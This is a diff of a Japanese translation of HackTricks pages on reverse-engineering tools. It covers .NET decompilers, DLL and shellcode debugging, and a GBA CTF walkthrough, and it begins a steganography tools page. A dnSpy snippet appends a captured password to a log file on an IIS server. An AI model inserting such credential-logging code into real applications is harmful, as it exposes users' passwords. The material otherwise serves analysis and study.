* [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/)を使用して、watからwasmに**コンパイル**します
|
||||
* [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/)を使用してデコンパイルすることもできます
|
||||
* [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) を使用して、wasm(バイナリ)からwat(クリアテキスト)に**逆コンパイル**します
|
||||
* [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) を使用して、watからwasmに**コンパイル**します
|
||||
* [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) も試すことができます
|
||||
|
||||
ソフトウェア:
|
||||
ソフトウェア:
|
||||
|
||||
* [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
|
||||
* [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
|
||||
|
@ -45,29 +45,29 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
||||
|
||||
dotPeekは、**ライブラリ**(.dll)、**Windowsメタデータファイル**(.winmd)、および**実行可能ファイル**(.exe)を含む複数の形式を**デコンパイルおよび調査**します。デコンパイルされたアセンブリは、Visual Studioプロジェクト(.csproj)として保存できます。
|
||||
dotPeekは、**ライブラリ**(.dll)、**Windowsメタデータファイル**(.winmd)、および**実行可能ファイル**(.exe)を含む複数の形式を**逆コンパイルおよび調査**します。逆コンパイルされたアセンブリは、Visual Studioプロジェクト(.csproj)として保存できます。
|
||||
|
||||
ここでのメリットは、失われたソースコードを復元する場合、このアクションが時間を節約できることです。さらに、dotPeekは、デコンパイルされたコード全体を便利にナビゲートできるため、**Xamarinアルゴリズム分析に最適なツール**の1つです。
|
||||
ここでのメリットは、失われたソースコードを復元する場合、このアクションが時間を節約できることです。さらに、dotPeekは逆コンパイルされたコード全体を便利にナビゲートできるため、**Xamarinアルゴリズム分析**に最適なツールの1つです。
|
||||
|
||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
包括的なアドインモデルと、ツールを拡張して正確なニーズに合わせるAPIを備えた.NET Reflectorは、時間を節約し、開発を簡素化します。このツールが提供する逆コンパイルサービスの多様性を見てみましょう:
|
||||
包括的なアドインモデルと、ツールを拡張して正確なニーズに合わせるAPIを備えた.NET Reflectorは、時間を節約し、開発を簡素化します。このツールが提供する逆コンパイルサービスの多様性を見てみましょう:
|
||||
|
||||
* データがライブラリやコンポーネントを通過する方法についての洞察を提供します
|
||||
* .NET言語やフレームワークの実装と使用についての洞察を提供します
|
||||
* データがライブラリやコンポーネントを通過する方法に洞察を提供します
|
||||
* .NET言語やフレームワークの実装と使用方法に洞察を提供します
|
||||
* 使用されるAPIや技術からより多くの情報を取得するために未記載および非公開の機能を見つけます
|
||||
* 依存関係や異なるアセンブリを見つけます
|
||||
* 依存関係と異なるアセンブリを見つけます
|
||||
* コード、サードパーティのコンポーネント、およびライブラリのエラーの正確な場所を特定します
|
||||
* 作業するすべての.NETコードのソースにデバッグします
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[Visual Studio Code用ILSpyプラグイン](https://github.com/icsharpcode/ilspy-vscode):任意のOSで使用できます(VSCodeから直接インストールできます。**Extensions**をクリックして**ILSpy**を検索します)。\
|
||||
**デコンパイル**、**変更**、そして**再コンパイル**が必要な場合は、[**dnSpy**](https://github.com/dnSpy/dnSpy/releases)またはそれのアクティブにメンテナンスされているフォーク、[**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)を使用できます(関数内の何かを変更するには、**右クリック -> メソッドの変更**)。
|
||||
[Visual Studio Code用ILSpyプラグイン](https://github.com/icsharpcode/ilspy-vscode): 任意のOSで使用できます(VSCodeから直接インストールでき、gitをダウンロードする必要はありません。**Extensions** をクリックして **ILSpy** を検索します)。\
|
||||
**逆コンパイル**、**変更**、そして**再コンパイル**する場合は、[**dnSpy**](https://github.com/dnSpy/dnSpy/releases) またはそれをアクティブにメンテナンスされたフォーク、[**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) を使用できます(関数内の何かを変更するには、**右クリック -> メソッドの変更**)。
|
||||
|
||||
### DNSpyログ
|
||||
### DNSpy ロギング
|
||||
|
||||
**DNSpyが情報をファイルに記録するようにする**には、次のスニペットを使用できます:
|
||||
**DNSpy が情報をファイルに記録するようにする**には、次のスニペットを使用できます:
|
||||
```cs
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
|
@ -77,7 +77,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
|
|||
|
||||
DNSpyを使用してコードをデバッグするには、次の手順を実行する必要があります:
|
||||
|
||||
まず、**デバッグ**に関連する**アセンブリ属性**を変更します:
|
||||
まず、**デバッグに関連する** **アセンブリ属性**を変更します:
|
||||
|
||||
![](<../../.gitbook/assets/image (278).png>)
|
||||
```aspnet
|
||||
|
@ -85,14 +85,14 @@ DNSpyを使用してコードをデバッグするには、次の手順を実行
|
|||
```
|
||||
## リバースエンジニアリングツールと基本的な手法
|
||||
|
||||
このセクションでは、リバースエンジニアリングに使用される一般的なツールと基本的な手法について説明します。リバースエンジニアリングは、プログラムやファイルを解析して、その動作や構造を理解するプロセスです。リバースエンジニアリングを行うことで、セキュリティ研究や脆弱性診断、マルウェア解析などのさまざまな目的に活用できます。
|
||||
このセクションでは、リバースエンジニアリングに使用される一般的なツールと基本的な手法について説明します。リバースエンジニアリングは、プログラムやファイルを解析して、その動作や構造を理解するプロセスです。以下は、リバースエンジニアリングに役立ついくつかのツールと手法です。
|
||||
```
|
||||
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
|
||||
DebuggableAttribute.DebuggingModes.DisableOptimizations |
|
||||
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
|
||||
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
|
||||
```
|
||||
そして**コンパイル**をクリックしてください:
|
||||
そして、**コンパイル**をクリックしてください:
|
||||
|
||||
![](<../../.gitbook/assets/image (314) (1) (1).png>)
|
||||
|
||||
|
@ -100,7 +100,7 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
|
|||
|
||||
![](<../../.gitbook/assets/image (279).png>)
|
||||
|
||||
これは必要です。なぜなら、これを行わないと、**実行時**にコードにいくつかの**最適化**が適用され、**デバッグ中にブレークポイントがヒットしない**か、一部の**変数が存在しない**可能性があるからです。
|
||||
これは必要です。なぜなら、これを行わないと、**実行時**にコードにいくつかの**最適化**が適用され、**デバッグ**中に**ブレークポイントがヒットしない**か、一部の**変数が存在しない**可能性があるからです。
|
||||
|
||||
その後、.NETアプリケーションが**IIS**で**実行**されている場合は、次のように**再起動**できます:
|
||||
```
|
||||
|
@ -114,7 +114,7 @@ iisreset /noforce
|
|||
|
||||
![](<../../.gitbook/assets/image (281).png>)
|
||||
|
||||
プロセスのデバッグが開始されたので、プロセスを停止してすべてのモジュールをロードします。まず、_Debug >> Break All_ をクリックし、次に _**Debug >> Windows >> Modules**_ をクリックします:
|
||||
プロセスのデバッグが開始されたので、プロセスを停止してすべてのモジュールをロードする時間です。まず、_Debug >> Break All_をクリックし、次に_Debug >> Windows >> Modules_をクリックします:
|
||||
|
||||
![](<../../.gitbook/assets/image (286).png>)
|
||||
|
||||
|
@ -124,7 +124,7 @@ iisreset /noforce
|
|||
|
||||
![](<../../.gitbook/assets/image (284).png>)
|
||||
|
||||
**アセンブリエクスプローラ**内の任意のモジュールを右クリックし、**Sort Assemblies**をクリックします:
|
||||
**アセンブリエクスプローラ**内の任意のモジュールを右クリックし、**アセンブリをソート**をクリックします:
|
||||
|
||||
![](<../../.gitbook/assets/image (285).png>)
|
||||
|
||||
|
@ -135,7 +135,7 @@ iisreset /noforce
|
|||
|
||||
## Debugging DLLs
|
||||
|
||||
### Using IDA
|
||||
### IDAを使用する
|
||||
|
||||
* **rundll32をロード**(64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe)
|
||||
* **Windbgデバッガー**を選択
|
||||
|
@ -147,18 +147,18 @@ iisreset /noforce
|
|||
|
||||
![](<../../.gitbook/assets/image (136).png>)
|
||||
|
||||
その後、デバッグを開始すると、**各DLLがロードされるたびに実行が停止**され、rundll32がDLLをロードすると実行が停止します。
|
||||
その後、デバッグを開始すると、**各DLLがロードされるたびに実行が停止**されます。その後、rundll32がDLLをロードすると実行が停止します。
|
||||
|
||||
しかし、ロードされたDLLのコードにどうやってアクセスできるのでしょうか?この方法を使用しても、私は方法がわかりません。
|
||||
しかし、ロードされたDLLのコードにどのようにアクセスできますか?この方法を使用すると、その方法がわかりません。
|
||||
|
||||
### Using x64dbg/x32dbg
|
||||
### x64dbg/x32dbgを使用する
|
||||
|
||||
* **rundll32をロード**(64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe)
|
||||
* **コマンドラインを変更**( _File --> Change Command Line_ )し、dllのパスと呼び出したい関数を設定します。例: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* _Options --> Settings_ を変更し、**"DLL Entry"**を選択します。
|
||||
* その後、**実行を開始**し、デバッガーは各dllメインで停止します。いずれかの時点で、**あなたのdllのdllエントリで停止**します。そこから、ブレークポイントを設定したいポイントを検索します。
|
||||
* **コマンドラインを変更**(_File --> Change Command Line_)し、dllのパスと呼び出したい関数を設定します。例:"C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* _Options --> Settings_を変更し、「**DLL Entry**」を選択します。
|
||||
* その後、**実行を開始**し、デバッガーは各dllメインで停止します。いずれかの時点で、**dllのエントリ**に停止します。そこから、ブレークポイントを設定したいポイントを検索します。
|
||||
|
||||
実行がwin64dbgで何らかの理由で停止されると、**win64dbgウィンドウの上部**にいる**どのコードを見ているか**が表示されます:
|
||||
実行がwin64dbgで何らかの理由で停止されると、**win64dbgウィンドウの上部にいる**コードが表示されます:
|
||||
|
||||
![](<../../.gitbook/assets/image (137).png>)
|
||||
|
||||
|
@ -178,35 +178,35 @@ iisreset /noforce
|
|||
|
||||
## シェルコード
|
||||
|
||||
### Blobrunnerを使用したシェルコードのデバッグ
|
||||
### Blobrunnerを使用してシェルコードをデバッグする
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner)は、**シェルコード**をメモリ空間に**割り当て**し、シェルコードが割り当てられた**メモリアドレス**を示し、実行を**停止**します。\
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner)は、メモリ空間内に**シェルコード**を**割り当て**し、シェルコードが割り当てられた**メモリアドレス**を示し、実行を**停止**します。\
|
||||
その後、プロセスにデバッガー(Idaまたはx64dbg)を**アタッチ**し、指定されたメモリアドレスに**ブレークポイントを設定**し、実行を**再開**します。これにより、シェルコードのデバッグが行われます。
|
||||
|
||||
リリースのgithubページには、コンパイルされたリリースが含まれるzipファイルがあります:[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
リリースのGitHubページには、コンパイルされたリリースが含まれるzipファイルがあります:[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
以下のリンクにBlobrunnerのわずかに変更されたバージョンがあります。コンパイルするには、Visual Studio CodeでC/C++プロジェクトを作成し、コードをコピーして貼り付け、ビルドします。
|
||||
|
||||
{% content-ref url="blobrunner.md" %}
|
||||
[blobrunner.md](blobrunner.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### jmp2itを使用したシェルコードのデバッグ
|
||||
### jmp2itを使用してシェルコードをデバッグする
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)はBlobrunnerに非常に似ています。**シェルコード**をメモリ空間に**割り当て**し、**永遠のループ**を開始します。その後、プロセスに**デバッガーをアタッチ**し、**開始**を再生して2〜5秒待って**停止**を押すと、**永遠のループ**内にいます。永遠のループの次の命令にジャンプして、最終的にシェルコードを実行することができます。
|
||||
[**jmp2it**](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)はBlobrunnerに非常に似ています。**シェルコード**を**メモリ空間内に割り当て**し、**永遠のループ**を開始します。その後、プロセスにデバッガーを**アタッチ**し、**開始**を再生して2〜5秒待って**停止**を押すと、**永遠のループ**内にいます。永遠のループの次の命令にジャンプしてシェルコードを呼び出し、最終的にシェルコードを実行します。
|
||||
|
||||
![](<../../.gitbook/assets/image (397).png>)
|
||||
|
||||
[リリースページ内でjmp2itのコンパイル済みバージョンをダウンロードできます](https://github.com/adamkramer/jmp2it/releases/)。
|
||||
|
||||
### Cutterを使用したシェルコードのデバッグ
|
||||
### Cutterを使用してシェルコードをデバッグする
|
||||
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)はradareのGUIです。Cutterを使用すると、シェルコードをエミュレートして動的に検査できます。
|
||||
|
||||
Cutterを使用すると、「ファイルを開く」と「シェルコードを開く」が可能です。私の場合、シェルコードをファイルとして開くと正しく逆コンパイルされましたが、シェルコードとして開くと逆コンパイルされませんでした:
|
||||
Cutterを使用すると、「ファイルを開く」と「シェルコードを開く」が可能です。私の場合、シェルコードをファイルとして開いたときは正しく逆コンパイルされましたが、シェルコードとして開いたときは逆コンパイルされませんでした:
|
||||
|
||||
![](<../../.gitbook/assets/image (400).png>)
|
||||
|
||||
特定の場所でエミュレーションを開始するには、そこにブレークポイントを設定し、おそらくcutterは自動的にそこからエミュレーションを開始します:
|
||||
特定の場所でエミュレーションを開始するには、そこにブレークポイントを設定し、Cutterは自動的にそこからエミュレーションを開始します:
|
||||
|
||||
![](<../../.gitbook/assets/image (399).png>)
|
||||
|
||||
|
@ -216,8 +216,8 @@ Cutterを使用すると、「ファイルを開く」と「シェルコード
|
|||
|
||||
### シェルコードの逆難読化と実行される関数の取得
|
||||
|
||||
[**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152)を試してみてください。\
|
||||
シェルコードが使用している**関数**や、シェルコードがメモリ内で**デコード**されているかどうかなどを教えてくれます。
|
||||
[**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152)を試してみるべきです。\
|
||||
このツールは、シェルコードが使用している**関数**や、シェルコードがメモリ内で**デコード**されているかどうかなどを教えてくれます。
|
||||
```bash
|
||||
scdbg.exe -f shellcode # Get info
|
||||
scdbg.exe -f shellcode -r #show analysis report at end of run
|
||||
|
@ -238,12 +238,12 @@ scDbgには、グラフィカルなランチャーも備わっており、希望
|
|||
|
||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||
|
||||
この難読化ツールは、すべての `mov` 命令を変更します(本当にクールです)。また、実行フローを変更するために割り込みを使用します。動作方法の詳細については以下を参照してください:
|
||||
この難読化ツールは、すべての`mov`命令を変更します(本当にクールです)。また、実行フローを変更するために割り込みを使用します。動作方法の詳細については以下を参照してください:
|
||||
|
||||
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
|
||||
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
|
||||
|
||||
幸運な場合、[demovfuscator](https://github.com/kirschju/demovfuscator) がバイナリを復号化するでしょう。いくつかの依存関係があります。
|
||||
幸運な場合、[demovfuscator](https://github.com/kirschju/demovfuscator)がバイナリを復号化します。いくつかの依存関係があります。
|
||||
```
|
||||
apt-get install libcapstone-dev
|
||||
apt-get install libz3-dev
|
||||
|
@ -258,32 +258,32 @@ apt-get install libz3-dev
|
|||
|
||||
![](<../../.gitbook/assets/image (612).png>)
|
||||
|
||||
この場合、バイナリの名前はauthenticatorと呼ばれていたので、これが興味深いmain関数であることはかなり明らかです。\
|
||||
呼び出されている**関数の名前**を持っている場合は、それらを**インターネット**で検索して、それらの**入力**と**出力**について学びます。
|
||||
この場合、バイナリの名前はauthenticatorでしたので、これが興味深いmain関数であることはかなり明らかです。\
|
||||
**呼び出されている関数の名前**を持っている場合は、それらを**インターネット**で検索して、それらの**入力**と**出力**について学びます。
|
||||
|
||||
## **Delphi**
|
||||
|
||||
Delphiでコンパイルされたバイナリを逆アセンブルする場合は、[https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)を使用できます
|
||||
Delphiでコンパイルされたバイナリを逆アセンブルする場合は、[https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)を使用できます。
|
||||
|
||||
Delphiバイナリを逆アセンブルする必要がある場合は、IDAプラグイン[https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)を使用することをお勧めします
|
||||
Delphiバイナリを逆アセンブルする必要がある場合は、IDAプラグイン[https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)を使用することをお勧めします。
|
||||
|
||||
単に**ATL+f7**(IDAでPythonプラグインをインポート)を押し、Pythonプラグインを選択します。
|
||||
単に**ATL+f7**(IDAでPythonプラグインをインポート)を押して、Pythonプラグインを選択します。
|
||||
|
||||
このプラグインはバイナリを実行し、デバッグの開始時に関数名を動的に解決します。デバッグを開始した後、再度Startボタン(緑色のボタンまたはf9)を押すと、実際のコードの最初にブレークポイントがヒットします。
|
||||
このプラグインはバイナリを実行し、デバッグの開始時に関数名を動的に解決します。デバッグを開始した後は、再度Startボタン(緑色のボタンまたはf9)を押すと、実際のコードの最初にブレークポイントがヒットします。
|
||||
|
||||
また、グラフィックアプリケーションでボタンを押すと、そのボタンによって実行される関数でデバッガが停止します。
|
||||
|
||||
## Golang
|
||||
|
||||
Golangバイナリを逆アセンブルする必要がある場合は、IDAプラグイン[https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)を使用することをお勧めします
|
||||
Golangバイナリを逆アセンブルする必要がある場合は、IDAプラグイン[https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)を使用することをお勧めします。
|
||||
|
||||
単に**ATL+f7**(IDAでPythonプラグインをインポート)を押し、Pythonプラグインを選択します。
|
||||
単に**ATL+f7**(IDAでPythonプラグインをインポート)を押して、Pythonプラグインを選択します。
|
||||
|
||||
これにより、関数の名前が解決されます。
|
||||
|
||||
## コンパイルされたPython
|
||||
|
||||
このページでは、ELF/EXE PythonコンパイルバイナリからPythonコードを取得する方法が見つかります:
|
||||
このページでは、ELF/EXE Pythonコンパイル済みバイナリからPythonコードを取得する方法が見つかります:
|
||||
|
||||
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
|
@ -293,16 +293,16 @@ Golangバイナリを逆アセンブルする必要がある場合は、IDAプ
|
|||
|
||||
GBAゲームの**バイナリ**を取得した場合、それを**エミュレート**および**デバッグ**するために異なるツールを使用できます:
|
||||
|
||||
* [**no$gba**](https://problemkaputt.de/gba.htm)(デバッグバージョンをダウンロード) - インターフェース付きのデバッガを含む
|
||||
* [**no$gba**](https://problemkaputt.de/gba.htm)(_デバッグバージョンをダウンロード_)- インターフェース付きのデバッガを含む
|
||||
* [**mgba** ](https://mgba.io)- CLIデバッガを含む
|
||||
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidraプラグイン
|
||||
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidraプラグイン
|
||||
|
||||
[**no$gba**](https://problemkaputt.de/gba.htm)では、_**Options --> Emulation Setup --> Controls**_でゲームボーイアドバンスの**ボタン**を押す方法がわかります
|
||||
[**no$gba**](https://problemkaputt.de/gba.htm)では、_**Options --> Emulation Setup --> Controls**_でGame Boy Advanceの**ボタン**を押す方法がわかります
|
||||
|
||||
![](<../../.gitbook/assets/image (578).png>)
|
||||
|
||||
押されると、各**キーには値**があり、それを識別するために使用されます:
|
||||
押されると、各**キーには識別値**があります:
|
||||
```
|
||||
A = 1
|
||||
B = 2
|
||||
|
@ -382,13 +382,13 @@ FUN_08000864();
|
|||
if (uVar1 == 0x10) {
|
||||
DAT_030000d8 = DAT_030000d8 + 0x3a;
|
||||
```
|
||||
前のコードでは、**uVar1**(**押されたボタンの値**が格納されている場所)をいくつかの値と比較しています:
|
||||
前のコードでは、**uVar1**(**押されたボタンの値**が格納される場所)をいくつかの値と比較しています:
|
||||
|
||||
* まず、**値4**(**SELECT**ボタン)と比較されます:このボタンはチャレンジでは画面をクリアします
|
||||
* 次に、**値8**(**START**ボタン)と比較されます:このチャレンジでは、コードがフラグを取得するために有効かどうかをチェックします。
|
||||
* この場合、変数**`DAT_030000d8`**が0xf3と比較され、値が同じ場合はいくつかのコードが実行されます。
|
||||
* それ以外の場合、一部のcont(`DAT_030000d4`)がチェックされます。これはcontであるため、コードに入るとすぐに1が追加されます。\
|
||||
8未満の場合、**`DAT_030000d8`**に値を**追加**するものが行われます(基本的には、contが8未満の間、この変数に押されたキーの値を追加しています)。
|
||||
* それ以外の場合、一部のcont(`DAT_030000d4`)がチェックされます。これはcontであり、コードに入るとすぐに1が追加されます。\
|
||||
8未満の場合、**`DAT_030000d8`**に**値を追加**する何かが行われます(基本的には、contが8未満の間、この変数に押されたキーの値を追加しています)。
|
||||
|
||||
したがって、このチャレンジでは、ボタンの値を知っていると、**長さが8未満で、結果の加算が0xf3になる組み合わせを押す必要がありました。**
|
||||
|
||||
|
@ -405,20 +405,20 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksのPDFをダウンロード**したり、**HackTricksを広告**できるようにするには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricksのPDFをダウンロード**したり、**HackTricksで企業を宣伝**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,7 +26,7 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
### **Binwalk**
|
||||
|
||||
埋め込まれた隠しファイルやデータを検索するためのツールです。`apt`を介してインストールされ、そのソースは[GitHub](https://github.com/ReFirmLabs/binwalk)で入手できます。
|
||||
埋め込まれた隠しファイルやデータを検索するためのツール。`apt`を介してインストールされ、そのソースは[GitHub](https://github.com/ReFirmLabs/binwalk)で入手できます。
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
|
@ -46,7 +46,7 @@ exiftool file # Shows the metadata
|
|||
```
|
||||
### **Exiv2**
|
||||
|
||||
exiftoolと同様、メタデータの表示に使用します。`apt`を介してインストール可能で、[GitHub](https://github.com/Exiv2/exiv2)でソースを入手でき、[公式ウェブサイト](http://www.exiv2.org/)もあります。
|
||||
Exiftoolと同様、メタデータの表示に使用します。`apt`を介してインストール可能で、[GitHub](https://github.com/Exiv2/exiv2)でソースを入手でき、公式ウェブサイトは[こちら](http://www.exiv2.org/)です。
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
|
@ -74,71 +74,71 @@ strings -e B -n 6 file # 32bit strings (big-endian)
|
|||
```bash
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
```
|
||||
## **テキスト内の隠しデータの抽出**
|
||||
## **テキスト内の隠されたデータの抽出**
|
||||
|
||||
### **スペース内の隠しデータ**
|
||||
### **スペース内の隠されたデータ**
|
||||
|
||||
見かけ上空白のスペースに不可視文字が情報を隠しているかもしれません。このデータを抽出するには、[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) を訪れてください。
|
||||
見かけ上空白のスペースに不可視の文字が情報を隠しているかもしれません。このデータを抽出するには、[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)を訪れてください。
|
||||
|
||||
## **画像からデータを抽出する**
|
||||
|
||||
### **GraphicMagickを使用して画像の詳細を特定する**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) は画像ファイルの種類を特定し、潜在的な破損を特定するために使用されます。以下のコマンドを実行して画像を検査します:
|
||||
